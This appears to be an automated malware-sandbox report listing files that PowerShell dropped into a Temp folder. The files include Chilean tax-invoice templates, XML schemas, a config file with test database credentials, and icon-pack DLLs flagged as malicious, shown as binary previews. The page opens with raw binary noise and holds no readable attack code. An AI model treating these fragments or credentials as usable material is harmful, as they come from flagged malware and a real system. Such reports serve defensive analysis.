C.s6...rN..U.J...'....m...XP@..h.-.~..}...c.).Z.......Z..SP/.....o..g<..Dc..o.!s...5\I..P.o..../\|...._i...P\.`]\|._#..%3dqZb..E..<.....z,z....z.:<.pY.+.A0b.....h*.aX5....I..^._F?..}.#C.....o..5..\.....Tad.v$...m..,;L..2....D.V...}<.r..q.0....;...%D!.mD@%...\.RK..\|.fo...Et..,nkb...1k..ch..M.=oV....B..X_5.

C:\Users\user\AppData\Local\Temp\file\x64\Templates\LibroGuia.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Title: Emisin de Libro Guias de Despacho, Subject: Comercial/FlDteLibros, Author: The Flexline Company, Keywords: 7.10.0.0, Last Saved By: The Flexlin, Revision Number: 13, Total Editing Time: 2d+10:09:21, Last Saved Time/Date: Wed Feb 10 14:37:09 2016, Create Time/Date: Thu Oct 21 04:02:29 1999, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	4.897454744117037
Encrypted:	false
SSDEEP:	384:IkM+j7jubLvybgDm6u6N3p/TJn/xWb8FdKbrY88mw1Os3n26t:Iij3anNu6dplnzFdGF8mw7Vt
MD5:	3C58F3AD6F6BD30528DEE0F6CF1DFE6D
SHA1:	B99892FB3FED6ACE2FA83761AE48734EF12CB896
SHA-256:	76BC710BC22BA0DF3B15173929D772B98FF8A29D97D61FE966B7E13D46360002
SHA-512:	F15A625C74338AEC7EB0A25CB5B3C4C62E8EE09F416438D767E11D5C63C751523C1EE72FAC867A6FC810CF124652425A3DFEE6E9711038179089FD246E11B942
Malicious:	false
Preview:	......................>.......................#...........................$.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................&O$......!I.x.....5.T.....O.....q2.{..x..x.J.#.4..w..l59.....I.I...../4.9.........#&.......F)..0+.jK.$..=F..........o.v......0.(.......i...p!..M.:.=....q..`M...7.S..e..H./3q..Q.56.W-d.=7d..C.......I....6AF..q-c..]{.S.F..o..t_@..`..4".Y.{..2.F.f4.'Bd.....#....ox.o..b.....m.N.Gl.EI....2.%.....u.........P.e.F........m..yn2.].....?%.....T....Fc^.T.<..??.wJ....=.2.....sa.Y."g...i>.A.Y._.}.i1.f...t}3.,f!1.B..e...+..U.v..p...1&xU^W..f..._Q...\...s\

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ReporteCliente.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.0, Code page: 1252, Title: Emisin de Factu, Subject: Comercial/I, Author: Manager, Keywords: 7.12., Last Saved By: Manager, Revision Number: 132, Total Editing Time: 11d+02:21:03, Last Saved Time/Date: Fri Oct 22 15:03:08 2021, Create Time/Date: Wed Aug 22 23:55:04 2001, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports ActiveX Designer
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	7.564768638886055
Encrypted:	false
SSDEEP:	768:b8xXq0O/5cY1uUzQZBs+XmzJECOA8gv/muJow4rXTLXLswnPErt:bShY16Bj2aCOA8ZKYDLLswnsr
MD5:	A547238051BD52E90708B8362D72588C
SHA1:	383924701415EAAC64BAA2DEEEC98B07EA2F2EC1
SHA-256:	96AAB013598F360C88325A5F365D5A3BBB7D95AD0799BF0F752D66C01280E7E2
SHA-512:	97FE0C7502134EE32A6ECFD16D8AA88FF97D8F9DB345ED872E2A27E5EF88C472905AEC593BC63E23CF64286442247AEECB6673CB2E51108205C8FE66E959A3F0
Malicious:	false
Preview:	......................>.......................@...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................P.r.o.m.p.t.M.a.n.a.g.e.r.......................................................................................................S.u.b.d.o.c.u.m.e.n.t. .2...........................................................................`...M....T.M...............C.o.n.t.e.n.t.s........................................................................................................._.......Q.E.S.e.s.s.i.o.n.......................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ResumenPerLibro.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	983
Entropy (8bit):	4.797805830916593
Encrypted:	false
SSDEEP:	24:VTKVAy40zosl/SgN9wsK3fq5oWqzWAy2tUK1ZyM3o:VTuLT/SgNePq5oW/A7tUK1Qao
MD5:	5C19FA7C1104A6F6419B012CFD937F92
SHA1:	C6133E56FD181519565756D3F7E3F551E2D1B003
SHA-256:	D2E7BB874F4F69B7AE0F0483F1833278B0D46A0810785CCC10EB40EB2BE17A0D
SHA-512:	8B7A6AC79A644D2CC2D545D00333B9B276310EC5CF2E1B7BD66D9E4F2F4976D3FB82E075EED455E54270CCD767F3D7A3BADFBCFF722AA5FAF9C9A62AB78DD0AD
Malicious:	false
Preview:	<TotalesPeriodo>...<TpoDoc/>...<TpoImp/>...<TotDoc/>...<TotAnulado/>...<TotOpExe/>...<TotMntExe/>...<TotMntNeto/>...<TotOpIVARec/>...<TotMntIVA/>...<TotOpActivoFijo/>...<TotMntActivoFijo/>...<TotMntIVAActivoFijo/>....<TotIVANoRec>....<CodIVANoRec/>....<TotOpIVANoRec/>....<TotMntIVANoRec/>...</TotIVANoRec>...<TotOpIVAUsoComun/>...<TotIVAUsoComun/>...<FctProp/>...<TotCredIVAUsoComun/>...<TotIVAFueraPlazo/>...<TotIVAPropio/>...<TotIVATerceros/>...<TotLey18211/>...<TotOtrosImp>....<CodImp/>....<TotMntImp/>...</TotOtrosImp>...<TotImpSinCredito/>...<TotOpIVARetTotal/>...<TotIVARetTotal/>...<TotOpIVARetParcial/>...<TotIVARetParcial/>...<TotCredEC/>...<TotDepEnvase/>...<TotLiquidaciones>....<TotValComNeto/>....<TotValComExe/>....<TotValComIVA/>...</TotLiquidaciones>....<TotMntTotal/>...<TotOpIVANoRetenido/>...<TotIVANoRetenido/>...<TotMntNoFact/>...<TotMntPeriodo/>...<TotPsjNac/>...<TotPsjInt/>...<TotTabPuros/>...<TotTabCigarrillos/>...<TotTabElaborado/>..</TotalesPeriodo>....

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ResumenPerLibroGuia.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	265
Entropy (8bit):	4.5080117798877115
Encrypted:	false
SSDEEP:	3:5QIuY8bovkJTBNoLwO2upbbsBFYHEgTOgxX/KIxX/KmiEXLEi46i6lhPsY8bovy:nuY8uATBNoLwcsKT/Xh94i46BlFsY8uy
MD5:	B7C55414608E9B9F4B6E7FFF6DDA3ADD
SHA1:	E52540E31897AD0358DFA08A189E8B3CBCFB7619
SHA-256:	9182BD64FB2790C9D895D03E9EC996042AB17A094F7099F6CD550F4F2E9C8B9F
SHA-512:	6847D4B92DEFB2E7D2F596D39332D17C2BE44B84FEAB1630EBA5C5CF8199F08C699721BDDB2BF605C8C114504EB1E6FB0387999EE6072D39DDC44EE411B8C160
Malicious:	false
Preview:	<ResumenPeriodo>...<TotFolAnulado/>...<TotGuiaAnulada/>...<TotGuiaVenta/>...<TotMntNeto/>...<TotMntGuiaVta/>...<TotMntModificado/>...<TotTraslado>....<TpoTraslado></TpoTraslado>....<CantGuia></CantGuia>....<MntGuia></MntGuia>...</TotTraslado>..</ResumenPeriodo>....

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ResumenSegLibro.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	947
Entropy (8bit):	4.803472063384036
Encrypted:	false
SSDEEP:	24:zTKVAy40zosl/SgN9wfq5oWqzWAy2SUK1ZyM3o:zTuLT/SgNOq5oW/A7SUK1Qao
MD5:	F1716D8252519C887F6C9AECB7E6E26E
SHA1:	95F52BB3A5F918A1F8708B39F48A03B3090BE839
SHA-256:	C126F75DBE0CD21BDCE06D543F40B4C262CECA96C5C28BB6759B7AF8E742C790
SHA-512:	86F39FBACA94076A656A077E690FC93274B9B04ED2495CBEDD3826057F2E0E97724F1A39382224C4A16500430C98A84522A5134427A5E0A87DBE60ED2BF91D44
Malicious:	false
Preview:	<TotalesSegmento>...<TpoDoc/>...<TpoImp/>...<TotDoc/>...<TotAnulado/>...<TotOpExe/>...<TotMntExe/>...<TotMntNeto/>...<TotOpIVARec/>...<TotMntIVA/>...<TotOpActivoFijo/>...<TotMntActivoFijo/>...<TotMntIVAActivoFijo/>....<TotIVANoRec>....<CodIVANoRec/>....<TotOpIVANoRec/>....<TotMntIVANoRec/>...</TotIVANoRec>...<TotOpIVAUsoComun/>...<TotIVAUsoComun/>...<TotIVAFueraPlazo/>...<TotIVAPropio/>...<TotIVATerceros/>...<TotLey18211/>...<TotOtrosImp>....<CodImp/>....<TotMntImp/>...</TotOtrosImp>...<TotImpSinCredito/>...<TotOpIVARetTotal/>...<TotIVARetTotal/>...<TotOpIVARetParcial/>...<TotIVARetParcial/>...<TotCredEC/>...<TotDepEnvase/>...<TotLiquidaciones>....<TotValComNeto/>....<TotValComExe/>....<TotValComIVA/>...</TotLiquidaciones>...<TotMntTotal/>...<TotOpIVANoRetenido/>...<TotIVANoRetenido/>...<TotMntNoFact/>...<TotMntPeriodo/>...<TotPsjNac/>...<TotPsjInt/>...<TotTabPuros/>...<TotTabCigarrillos/>...<TotTabElaborado/>..</TotalesSegmento>....

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ResumenSegLibroGuia.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	267
Entropy (8bit):	4.542296614089127
Encrypted:	false
SSDEEP:	3:5QIuLtJTBNoLwO2upbbsBFYHEgTOgxX/KIxX/KmiEXLEi46i6lhPsh:nuL7TBNoLwcsKT/Xh94i46BlFsh
MD5:	19154EE277F40E747177F928D4BF0CC8
SHA1:	806BA4DC241439FEA580903E218A86D7CDB54967
SHA-256:	A6549B758BE94CD76C124E1BE38143DF6CF2A1DF0709D4B1FF79B74320D4F33B
SHA-512:	777B75C784E751266761F62F3B4A545F40F55C122EA1C17D7412A9F456F8D422EC22BB41D4BC05C74B4A77A7B516BB67E551A2C86745F805702C16E71AE111EC
Malicious:	false
Preview:	<ResumenSegmento>...<TotFolAnulado/>...<TotGuiaAnulada/>...<TotGuiaVenta/>...<TotMntNeto/>...<TotMntGuiaVta/>...<TotMntModificado/>...<TotTraslado>....<TpoTraslado></TpoTraslado>....<CantGuia></CantGuia>....<MntGuia></MntGuia>...</TotTraslado>..</ResumenSegmento>....

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Schemas\SchemaDoctoXML\DTE_v10.xsd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	232543
Entropy (8bit):	4.22907362363038
Encrypted:	false
SSDEEP:	3072:3LuRMZhM4KVlH04tytiOoHr5oC8n1uq5oVmThObx49Vp7THmQGGqSCPuAJcbs89/:j
MD5:	99698C6701E170558D641CE32C8068DB
SHA1:	B375C216832E1746DFD4BB29B2371A791898BBC6
SHA-256:	7CE52BF95354489F52CE48BEBDE9C70F3E16A575E2524CAA13699DBAF3F5093E
SHA-512:	1F746C053881EF2E58FC3F066D49C8C5E29BF1F76F4771CFB7068C76C2E9C801A337A924A7240E1CBBBC42FE92A72ACA4D96486A7980640CEA68EC3A12AF7BD3
Malicious:	false
Preview:	<?xml version="1.0" encoding="ISO-8859-1"?>.. Esquema para documentos DTE...Fecha Actualizacion: 25/05/07 15:00....Se incorporan dos nuevos Tipos de datos :..FechaType..: Fecha entre 2000-01-01 y 2050-12-31..FechaHoraType : FechaType + hora entre 00:00 y 23:59....Fecha Actualizacion: 19-12-2007 16:21....Totales Exportacion : acepta minimo 0 (incluye detalle)....Fecha Actualizacion: 30-05-2011 12:00....Descuento Recargo Global : se incorporar restricci.n en Tipo de Movimiento..... para que sea dato de largo 1.... -->..<xs:schema targetNamespace="http://www.sii.cl/SiiDte" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:SiiDte="http://www.sii.cl/SiiDte" elementFormDefault="qualified" attributeFormDefault="unqualified">...<xs:include schemaLocation="SiiTypes_v10.xsd"/>...<xs:import namespace="http://www.w3.org/2000/09/xmldsig#" schemaLocation="xmldsignature_v10.xsd"/>...<xs:element name="DTE" type="SiiDte:DTEDefType"/>...<xs:comple

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Schemas\SchemaDoctoXML\SchemaDoctoXML.xsd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4738
Entropy (8bit):	4.827498828943315
Encrypted:	false
SSDEEP:	96:TC/lnlgWcLQtG32Cod18V1FZb1Mzx1DF1mrvm4S73SORuEpR3jPadsIRchMdZ:EnKN0c32nd18V1FZb1Sx1DF1mru4SzSr
MD5:	44AA46D229DD7403617B2FE00D9A7E40
SHA1:	5DE95B2D1D263E0E3C14491C89BDF196EA4077D3
SHA-256:	33EA8DD38C895C359DDDBCD21FEB5ACF8A4717F7F67524A6B0DD9A83D76920EB
SHA-512:	953857D6899C2F277D77372B9E19917AAC8791045DC9E8A11B4783DD166F5B5BDC715C3FCEAFD31965EA392E7EB611BB2912344AF6D22791F0D1ADD2078D24EF
Malicious:	false
Preview:	<?xml version="1.0" encoding="ISO-8859-1"?>.. El presente documento define el esquema XML que debe ser utilizado..para realizar los envios de Documentos Tributarios Electronicos (DTE)..hacia el Servicio de Impuestos Internos.....Fecha Actualizacion: 30/07/10 15:00....Se incorporan dos nuevos Tipos de datos :..FechaType..: Fecha entre 2000-01-01 y 2050-12-31..FechaHoraType : FechaType + hora entre 00:00 y 23:59....Se limita a 2.000 documentos el m.ximo por envio o sobre (de acuerdo a publicaci.n).. -->..<xs:schema targetNamespace="http://www.sii.cl/SiiDte" xmlns:SiiDte="http://www.sii.cl/SiiDte" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" elementFormDefault="qualified" attributeFormDefault="unqualified">...<xs:include schemaLocation="DTE_v10.xsd"/>...<xs:import namespace="http://www.w3.org/2000/09/xmldsig#" schemaLocation="xmldsignature_v10.xsd"/>...<xs:element name="EnvioDTE">....<xs:annotation>.....<xs:documentation>Envio de Documen

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Schemas\SchemaDoctoXML\SiiTypes_v10.xsd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	30967
Entropy (8bit):	4.9737511496894165
Encrypted:	false
SSDEEP:	768:oBlcB/pB/wLOEMMsjeyD1AaZGVJ/EP171iPyr4KFTRUhlU1Hpx3:oBeBxBoLOEMMsjxxAaZGVJsP17cPyr4Y
MD5:	DC45C51A2E3256A437E727CB0D7B4735
SHA1:	F65A9958AAE3A87938D1DA0857144410435DABD6
SHA-256:	D10038241464C73D759949EC6F04F52C32C7A478E9E294BF91DC867B06D9FDEE
SHA-512:	451353D5FD0B9F62AB52C33BB6F22FA9659C4F354CFDCD68B6A05C5137A50DAE062F250A85608DC529B9C449590A0AC2B24AB4812589263A0914A0F4D3A551FD
Malicious:	false
Preview:	<?xml version="1.0" encoding="ISO-8859-1"?>.. Esquema para tipos de datos generales...Fecha Actualizacion: 25/05/07 15:00....Se incorporan dos nuevos Tipos de datos :..FechaType..: Fecha entre 2000-01-01 y 2050-12-31..FechaHoraType : FechaType + hora entre 00:00 y 23:59..ImpAdicDTEType: elimina codigo 29 para DTE....Fecha Actualizacion: 30/05/2011 12:00..Se incorpora restricci.n en DineroPorcentajeType para que sea dato de largo 1....Fecha Actualizacion: 07/05/2014 11:30..ImpAdicDTEType.: se agregan los codigos 54 y 55 (SDI-1092)....Fecha Actualizacion: 30/09/2014 11:40..ImpAdicDTEType.: se agregan el codigo de impuesto 271 (SDI-9342)......-->..<xs:schema targetNamespace="http://www.sii.cl/SiiDte" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://www.sii.cl/SiiDte" elementFormDefault="qualified" attributeFormDefault="unqualified">...<xs:simpleType name="DOCType">....<xs:annotation>.....<xs:documentation>Todos los tipos de Documentos Tributarios Electronicos</xs:doc

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Schemas\SchemaDoctoXML\xmldsignature_v10.xsd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	7135
Entropy (8bit):	4.797427476313495
Encrypted:	false
SSDEEP:	192:jBjpgkBmsT2anwzs+umSL511v1biu8sJoo3F3L51wx3Y3d3b3L51uOsYIiu4sJic:RpgWmsaanwzs+umSL511v1biu8sJoo30
MD5:	8B83AAAE477A57D829B075230237102C
SHA1:	B6DAEB29F298258B405317300754D2AC64ECBA33
SHA-256:	427E3225CD379AE92BAE464B892DBF964665AF92D453AC61774CFFAB38B95EDB
SHA-512:	51EBCA226A8D85F0226F2C9782E245810E3A3E61C01EB5D20BC0E7BAEE203247405BD296A34F8048876BE0E343A279ED90E0656CD940BD269C97943111AC1542
Malicious:	false
Preview:	<?xml version="1.0" encoding="ISO-8859-1"?>.. Schema for XML Signatures.. http://www.w3.org/2000/09/xmldsig#.. $Revision: 1.1 $ on $Date: 2002/02/08 20:32:26 $ by $Author: reagle $.... Copyright 2001 The Internet Society and W3C (Massachusetts Institute.. of Technology, Institut National de Recherche en Informatique et en.. Automatique, Keio University). All Rights Reserved... http://www.w3.org/Consortium/Legal/.... This document is governed by the W3C Software License [1] as described.. in the FAQ [2]..... [1] http://www.w3.org/Consortium/Legal/copyright-software-19980720.. [2] http://www.w3.org/Consortium/Legal/IPR-FAQ-20000620.html#DTD ....Fecha ultima actualizaci.n : 10-03-05....-->..<ds:schema targetNamespace="http://www.w3.org/2000/09/xmldsig#" xmlns:xmldsig="http://www.w3.org/2000/09/xmldsig#" xmlns:ds="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">...<ds:element name="Signature" type="xmldsi

C:\Users\user\AppData\Local\Temp\file\x64\Templates\TemplateCorreoCliente.htm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	HTML document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	2892
Entropy (8bit):	4.825857791202032
Encrypted:	false
SSDEEP:	48:wPwlsMpUzdddd5ddddddddddddddddddddddddddddddNddddUddddddddddddd9:wIls2Uzdddd5dddddddddddddddddddO
MD5:	CE4C1F3BA9E690C4119E8ED39AA8EB78
SHA1:	DC2DA00C92B51431C01C5E598DE4665C9989E856
SHA-256:	E17621DC67919E53A0D1BE6A03FA0D97F01C8932F8D8912D556327E620310432
SHA-512:	DAF95E6329B060FE230096FC7A594CF0A13801E2DCF9869AFFA5530A2D03BF6C0DD2D9340BE5C312B82D41DAD48057F86811A23B23FBA93B0DC9A478986AC4EF
Malicious:	false
Preview:	<html xmlns="http://www.w3.org/1999/xhtml">..<head><title></title></head>..<body>..<b><font size="4">ENVIO DTES CLIENTE</font></b><br /><br />..<div style = "border-top:5px solid #22BCE5"> </div>..<u><b><font size="4">..<span style = "font-family:Arial;">..Emisor</span></font><span style = "font-family:Arial;font-size:10pt">..</span> </b></u>..<span style = "font-family:Arial;font-size:10pt">..<br /> <b>       {EmisorNombre}</b></span><span style = "font-family:Arial;font-size:10pt"><b>                                 </b></span><p>..<span style = "font-family:Arial;font-size:10pt">..<b>       Rut: {EmisorRut}</b></span><span style = "font-family:Arial;font-size:10pt"><b>               &nbsp

C:\Users\user\AppData\Local\Temp\file\x64\Templates\XmlLibros.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2526
Entropy (8bit):	4.751198903196411
Encrypted:	false
SSDEEP:	48:0h+47O+mLB/q0x6MMpnTOUkIPJidtrxupVjDcoLKlurxLKyewfW3NHU:0hjaHw0xJ5sgEVDS4N0r0
MD5:	73795975C2821C653EC0696528F2F61A
SHA1:	F6D62B334DF81DD0F736F1C47C00CEF65CC4EDA9
SHA-256:	C341FBF423B20CADE90E33776419A4AD92AFE1FEB3013A429296909E97C8484F
SHA-512:	55A89489170478BA1F10A50070745C837FAE6B3023CC863C6A8EE8995F0EA16F915228B432DF7AFBD6047DE8CC5EE7224F20377384CB3AE77003BA7834459DA9
Malicious:	false
Preview:	<EnvioLibro ID="L20041216124547">....<Caratula>.....<RutEmisorLibro/>.....<RutEnvia/>.....<PeriodoTributario/>.....<FchResol/>.....<NroResol/>.....<TipoOperacion/>.....<TipoLibro/>.....<TipoEnvio/>.....<FolioNotificacion/>.....<CodAutRec/>....</Caratula>....<ResumenPeriodo>.......<TotalesPeriodo>......<Segmento/>......<TpoDoc/>......<TpoImp/>......<TotDoc/>......<TotAnulado/>......<TotOpExe/>......<TotMntExe/>......<TotMntNeto/>......<TotOpIVARec/>......<TotMntIVA/>......<TotOpActivoFijo/>......<TotMntActivoFijo/>......<TotMntIVAActivoFijo/>.......<TotIVANoRec>.......<CodIVANoRec/>.......<TotOpIVANoRec/>.......<TotMntIVANoRec/>......</TotIVANoRec>......<TotOpIVAUsoComun/>......<TotIVAUsoComun/>......<FctProp/>......<TotCredIVAUsoComun/>......<TotIVAFueraPlazo/>......<TotIVAPropio/>......<TotIVATerceros/>......<TotLey18211/>......<TotOtrosImp>.......<CodImp/>.......<TotMntImp/>......</TotOtrosImp>......<TotImpSinCredito/>......<TotOpIVARetTotal/>......<TotIVARetTotal/>......<TotOpIVARet

C:\Users\user\AppData\Local\Temp\file\x64\modules\config\config.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	318
Entropy (8bit):	4.718821038541098
Encrypted:	false
SSDEEP:	6:ezIbX743wdY7rHW19+KdNWLitn2BZNKCaHVYuThateNrvyF114J:ezIz0mY/kZdNvn2BZHCTl1N61E
MD5:	B8779A0D74C496C3D45C8AB3AC1E9017
SHA1:	AA7BE774ABA46BC0FC4FA95CA15AA1ECAABBB050
SHA-256:	D437A06702BEF5D5B56F5A168626DAF81F6697AA52B3C74BCE17FCF8CDB4C05D
SHA-512:	347FD0ABA34F578256C46E4B5833EFCCB74E78D01BE4939AE38EFB6216D08DC087D346120BB26F670D70FB701C3FADB483AA33B7C6B8E4343487A6CF728BD6CA
Malicious:	false
Preview:	domain = localhost.prefix = admin.language = en.index = /.debug = true.open_admin_api = true.color_scheme = skin-black..[database.default]..host = 127.0.0.1.port = 5432.user = postgres.pwd = root.name = go-admin-test.max_idle_con = 50.max_open_con = 150.driver = postgresql..[store]..path = ./uploads.prefix = uploads.

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2193920
Entropy (8bit):	3.241218320121525
Encrypted:	false
SSDEEP:	6144:CTuzE29sK1y7RQNsMse5AV54EFdxtkYVBQoahtxDfzjADAW4vBM9jd2e+pT9IaRr:4uzEBA
MD5:	8A999C6C4B38E3AFEF0B54CBD84180C6
SHA1:	991B865B6DCA9EAD7D47DFB22FAF584FEA276044
SHA-256:	73E67B8A6607064C314B0A5D72DEF055AE0599BEAE1E7073D7A10626543D7FD0
SHA-512:	030FCB028335A62EA7C05053835C09016643BC2A941537A7A3DD97913CBC7F6C501E6AD3FB24FDA4064D5ED08ED59702D911D7C9AA3F840E12E6DB843464236D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...yHa..........." ..0..p!...........!.. ....!...... ........................!.......!...`..................................!.O.....!.<.....................!......!.8............................................ ............... ..H............text....o!.. ...p!................. ..`.rsrc...<.....!......r!.............@..@.reloc........!......x!.............@..B..................!.....H.......4y....!..........\|!.....P.!.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..mV......s*...%.r...po+...%.r...po+...%.r...po+...%.rm..po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BoxIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2140672
Entropy (8bit):	3.4171067542366806
Encrypted:	false
SSDEEP:	12288:NbuZ0HSkOZo/IMCPY3sgUVhv9Rhz4iamcXw9320uVBi0KwxWjYyF:o
MD5:	C01837735DB98ADE25E996C8FEC33BF6
SHA1:	626CC39C077942F70B72795E999A14D8729A7298
SHA-256:	7B28873C6B729262F6F02FF2DA46CA4AEAEBCF3799EABD460BFBBF4A0FCF01CA
SHA-512:	6BCE692E3BC1304B518A9B47244AF4E689AB81362906C3CEBF732DB0ECED533BBF5C9F3A779614F6B258E087B7CBE762A37A68373B4749F7C30EC330984A6F05
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._.B..........." ..0... .........2. .. .... ...... ........................!.......!...`.................................. .O..... ....................... ....... .8............................................ ............... ..H............text...8. .. .... ................. ..`.rsrc......... ....... .............@..@.reloc........ ....... .............@..B.................. .....H...........\|+ ......... . .X...x. .....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0...]......s*...%.r...po+...%.r...po+...%.r.!.po+...%.r.".po+...%.rD0.po+...%.rc>.po+...%.r W.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Codicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	572928
Entropy (8bit):	3.3223543167774396
Encrypted:	false
SSDEEP:	6144:2tdYnKgBzqqrTzWBzqqrUzQ7M1L1MyzpmeJ4O:26O
MD5:	7F92130ABD27092C78A3E075334BB75E
SHA1:	14F0CF7594D998D35762E7ADA89143601B222613
SHA-256:	A22950CC45540743AC0FEAE232C4CFFEB25BAA54AC3604765907E849DDAD25EC
SHA-512:	68E23A47A5700DD84AB6B602842D723056CC26DB12A7D70336DA4C5EE0372CD95883DA7232A2527FEA21669F82FC1A44AFB647B6BF25084DD78174E25ED724F0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.............z.... ........... ....................... ............`.................................(...O...................................@...8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................\.......H.......D9..$...........h...X...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..}.......s...%.r...po+...%.r...po+...%.r...po+...%.r!..po+...%.r...po+...%.r...po+...%.r..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Coolicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	462336
Entropy (8bit):	3.503968475511296
Encrypted:	false
SSDEEP:	6144:Psu6HHHYtONor0Gw90Lx5FkbrawYhhGqlQz08aWFe/HD6TYm5oE3e3FsPgiu9g3z:P1774BfdWECoBmW
MD5:	14F3F599E7A67C95D779820DBA5A9FFF
SHA1:	B88EA6CAA09ECF11D2E6DBAE039AB0734A823345
SHA-256:	213956439F1D224BE2F78AE9A345E2C02902750CD83A4A0439234AFE801E75E5
SHA-512:	E295AB8F8D90208F6A41320868D73A225A12BEDC15591F2A19103A659FB437016EBDED0C8FD62C61DB3A8DADAAFB07565CB76A51FD4113ACD20CD568E36807A2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....T_..........." ..0.............#... ...@....... ...................................`.................................."..O....@.......................`.......!..8............................................ ............... ..H............text...0.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H........;..................`...l!......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M.......s...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r%..po+...%.r8..p

